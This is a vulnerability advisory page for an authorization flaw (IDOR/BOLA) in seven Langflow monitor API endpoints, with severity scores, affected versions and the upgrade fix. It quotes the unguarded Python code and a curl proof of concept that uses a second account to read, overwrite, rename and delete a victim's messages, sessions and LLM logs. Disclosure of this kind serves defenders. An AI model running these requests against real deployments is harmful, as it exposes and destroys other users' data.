Skip to content

GHSA-9c59-2mvc-vfr8 CVE-2026-33760 PYSEC-2026-242

Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints

High PyPI
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.50%
Chance of exploitation in the next 30 days. Higher than 42.49% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-639 Authorization Bypass Through User-Controlled Key
Fix
1.9.0
Upgrade langflow to this version or later

Description

Summary

Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.

Details

Source file: src/backend/base/langflow/api/v1/monitor.py

The correct pattern (used only in GET /monitor/messages, lines 77–80):

stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id)  # ownership enforced

All 7 vulnerable endpoints are missing this guard:

1. GET /api/v1/monitor/builds (lines 27–33) — reads build data for any flow_id:

@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)  # no ownership check
    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)

2. DELETE /api/v1/monitor/messages (lines 102–107) — deletes any message by UUID:

@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
    # message_ids accepted verbatim, no ownership check

3. PUT /api/v1/monitor/messages/{message_id} (lines 110–134) — overwrites any message:

db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)

4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137–171) — renames any session:

stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174–188) — bulk-deletes any session:

await session.exec(
    delete(MessageTable).where(col(MessageTable.session_id) == session_id)
    # no ownership filter
)

6. GET /api/v1/monitor/transactions (lines 191–211) — reads LLM prompt/response logs for any flow_id:

stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

7. DELETE /api/v1/monitor/builds — deletes build records for any flow_id: Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.

PoC

Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).

# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=langflow&password=langflow" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=attacker_test&password=Attacker123" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — full transaction log returned including user prompts and model responses

# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200

# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '["<victim_message_id>"]'
# HTTP 204 — message deleted

# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200 — message overwritten, "edit":true set

# PoC 5: Rename victim's session
curl -s -X PATCH \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — session renamed

# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 204 — entire session deleted

All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.

Impact

This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).

Confidentiality: GET /transactions exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by flow_id. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). GET /builds exposes internal workflow execution state.

Integrity: PUT /messages/{id} allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. PATCH /messages/session/{id} allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.

Availability: DELETE /messages and DELETE /messages/session/{id} enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.

Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.

Affected versions

PyPI

PackageVulnerableFixed in
langflow
< 1.9.0
1.9.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

langflow PyPI → 1.9.0

pip
pip install --upgrade "langflow>=1.9.0"
poetry
poetry add "langflow>=1.9.0"
uv
uv add "langflow>=1.9.0"

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-qrpv-q767-xqq2
Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow
High Known exploited Also affects langflow
GHSA-vwmf-pq79-vjvx
Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint
Critical Known exploited Also affects langflow
GHSA-g22f-v6f7-2hrh
Langflow affected by Remote Code Execution via validate_code() exec()
High Known exploited Also affects langflow
GHSA-577h-p2hh-v4mv
Langflow CORS misconfiguration enables Account Takeover and RCE
Critical Known exploited Also affects langflow
GHSA-rvqx-wpfh-mfx7
Langflow Unauth RCE
Critical Known exploited Also affects langflow
GHSA-j8f7-x8jm-wmm4
Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)
Medium Also affects langflow
GHSA-4f6c-2vvp-gw82
Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write
High Also affects langflow
GHSA-4hmc-cfm3-w43c
Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers
High Also affects langflow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor